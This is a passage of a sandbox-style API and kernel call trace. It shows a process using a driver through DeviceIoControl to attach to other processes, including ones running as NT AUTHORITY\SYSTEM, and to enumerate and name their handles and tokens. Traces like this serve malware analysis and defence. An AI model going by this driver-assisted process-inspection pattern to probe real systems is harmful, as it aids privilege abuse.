PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.506] ObReferenceObjectByHandle (in: Handle=0x8c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002633fc0, HandleInformation=0x0) returned 0x0 [0068.506] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.506] PsReleaseProcessExitSynchronization () returned 0x2 [0068.506] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.506] ObQueryNameString (in: Object=0xfffff8a002633fc0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.506] ObfDereferenceObject (Object=0xfffff8a002633fc0) returned 0x1 [0068.506] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.506] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.506] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.506] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.506] PsAcquireProcessExitSynchronization () returned 0x0 [0068.506] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.506] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002324060, HandleInformation=0x0) returned 0x0 [0068.506] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.507] PsReleaseProcessExitSynchronization () returned 0x2 [0068.507] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.507] ObQueryNameString (in: Object=0xfffff8a002324060, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.507] ObfDereferenceObject (Object=0xfffff8a002324060) returned 0x1 [0068.507] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.507] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.507] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.507] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.507] PsAcquireProcessExitSynchronization () returned 0x0 [0068.507] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.507] ObReferenceObjectByHandle (in: Handle=0x940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003063180, HandleInformation=0x0) returned 0x0 [0068.507] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.507] PsReleaseProcessExitSynchronization () returned 0x2 [0068.507] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.507] ObQueryNameString (in: Object=0xfffff8a003063180, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.507] ObfDereferenceObject (Object=0xfffff8a003063180) returned 0x1 [0068.507] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.507] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.507] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.507] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.507] PsAcquireProcessExitSynchronization () returned 0x0 [0068.507] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.507] ObReferenceObjectByHandle (in: Handle=0x968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003a96390, HandleInformation=0x0) returned 0x0 [0068.507] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.507] PsReleaseProcessExitSynchronization () returned 0x2 [0068.507] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.507] ObQueryNameString (in: Object=0xfffff8a003a96390, ObjectNameInfo=0xfffffa8003985044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003985044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.507] ObfDereferenceObject (Object=0xfffff8a003a96390) returned 0x1 [0068.507] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.507] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.507] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xc0 [0068.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.508] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0068.508] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a50) returned 0x0 [0068.508] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6e [0068.508] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a50, DesiredAccess=0x8, TokenHandle=0xfffffa8003627180 | out: TokenHandle=0xfffffa8003627180*=0xc8) returned 0x0 [0068.508] ZwClose (Handle=0xffffffff80000a50) returned 0x0 [0068.508] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.508] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.508] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.509] CloseHandle (hObject=0xc8) returned 1 [0068.509] CloseHandle (hObject=0xc0) returned 1 [0068.509] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.510] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.510] PsAcquireProcessExitSynchronization () returned 0x0 [0068.510] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054f85d0) [0068.510] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003034ad0, HandleInformation=0x0) returned 0x0 [0068.510] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.510] PsReleaseProcessExitSynchronization () returned 0x2 [0068.510] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0068.510] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.510] ObfDereferenceObject (Object=0xfffffa8003034ad0) returned 0x1 [0068.510] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.510] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.510] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.510] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.510] PsAcquireProcessExitSynchronization () returned 0x0 [0068.510] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880054f85d0) [0068.510] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030c6320, HandleInformation=0x0) returned 0x0 [0068.510] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.510] PsReleaseProcessExitSynchronization () returned 0x2 [0068.510] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0068.510] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.510] ObfDereferenceObject (Object=0xfffffa80030c6320) returned 0x1 [0068.510] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.510] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.510] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xc0 [0068.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.510] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0068.510] ObOpenObjectByPointer (in: Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a50) returned 0x0 [0068.510] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x83 [0068.511] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a50, DesiredAccess=0x8, TokenHandle=0xfffffa8003627180 | out: TokenHandle=0xfffffa8003627180*=0xc8) returned 0x0 [0068.511] ZwClose (Handle=0xffffffff80000a50) returned 0x0 [0068.511] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.511] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.511] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.657] CloseHandle (hObject=0xc8) returned 1 [0068.657] CloseHandle (hObject=0xc0) returned 1 [0068.657] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.658] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.658] PsAcquireProcessExitSynchronization () returned 0x0 [0068.658] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.658] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030581b0, HandleInformation=0x0) returned 0x0 [0068.658] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.658] PsReleaseProcessExitSynchronization () returned 0x2 [0068.658] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.658] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.658] ObfDereferenceObject (Object=0xfffffa80030581b0) returned 0x1 [0068.658] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.658] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.658] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0068.658] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.658] PsAcquireProcessExitSynchronization () returned 0x0 [0068.658] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.658] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003093dd0, HandleInformation=0x0) returned 0x0 [0068.658] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.658] PsReleaseProcessExitSynchronization () returned 0x2 [0068.658] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.658] ObQueryNameString (in: Object=0xfffffa8003093dd0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.658] ObfDereferenceObject (Object=0xfffffa8003093dd0) returned 0x1 [0068.658] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.658] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.658] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0068.658] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.658] PsAcquireProcessExitSynchronization () returned 0x0 [0068.658] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.658] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003093b30, HandleInformation=0x0) returned 0x0 [0068.658] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.658] PsReleaseProcessExitSynchronization () returned 0x2 [0068.658] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.659] ObQueryNameString (in: Object=0xfffffa8003093b30, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.659] ObfDereferenceObject (Object=0xfffffa8003093b30) returned 0x2 [0068.659] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.659] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.659] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0068.659] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.659] PsAcquireProcessExitSynchronization () returned 0x0 [0068.659] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.659] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030939e0, HandleInformation=0x0) returned 0x0 [0068.659] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.659] PsReleaseProcessExitSynchronization () returned 0x2 [0068.659] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.659] ObQueryNameString (in: Object=0xfffffa80030939e0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.659] ObfDereferenceObject (Object=0xfffffa80030939e0) returned 0x1 [0068.659] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.659] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.659] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.659] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.659] PsAcquireProcessExitSynchronization () returned 0x0 [0068.659] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.659] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003093890, HandleInformation=0x0) returned 0x0 [0068.659] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.659] PsReleaseProcessExitSynchronization () returned 0x2 [0068.659] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.659] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.659] ObfDereferenceObject (Object=0xfffffa8003093890) returned 0x1 [0068.659] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.659] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.659] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0068.659] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.660] PsAcquireProcessExitSynchronization () returned 0x0 [0068.660] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.660] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002d50dd0, HandleInformation=0x0) returned 0x0 [0068.660] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.660] PsReleaseProcessExitSynchronization () returned 0x2 [0068.660] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.660] ObQueryNameString (in: Object=0xfffffa8002d50dd0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.660] ObfDereferenceObject (Object=0xfffffa8002d50dd0) returned 0x2 [0068.660] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.660] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.660] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0068.660] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.660] PsAcquireProcessExitSynchronization () returned 0x0 [0068.660] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054f85d0) [0068.660] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003093c80, HandleInformation=0x0) returned 0x0 [0068.660] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.660] PsReleaseProcessExitSynchronization () returned 0x2 [0068.660] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x81 [0068.660] ObQueryNameString (in: Object=0xfffffa8003093c80, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.660] ObfDereferenceObject (Object=0xfffffa8003093c80) returned 0x1 [0068.660] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.660] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.660] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0068.660] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff880054f8558 | out: 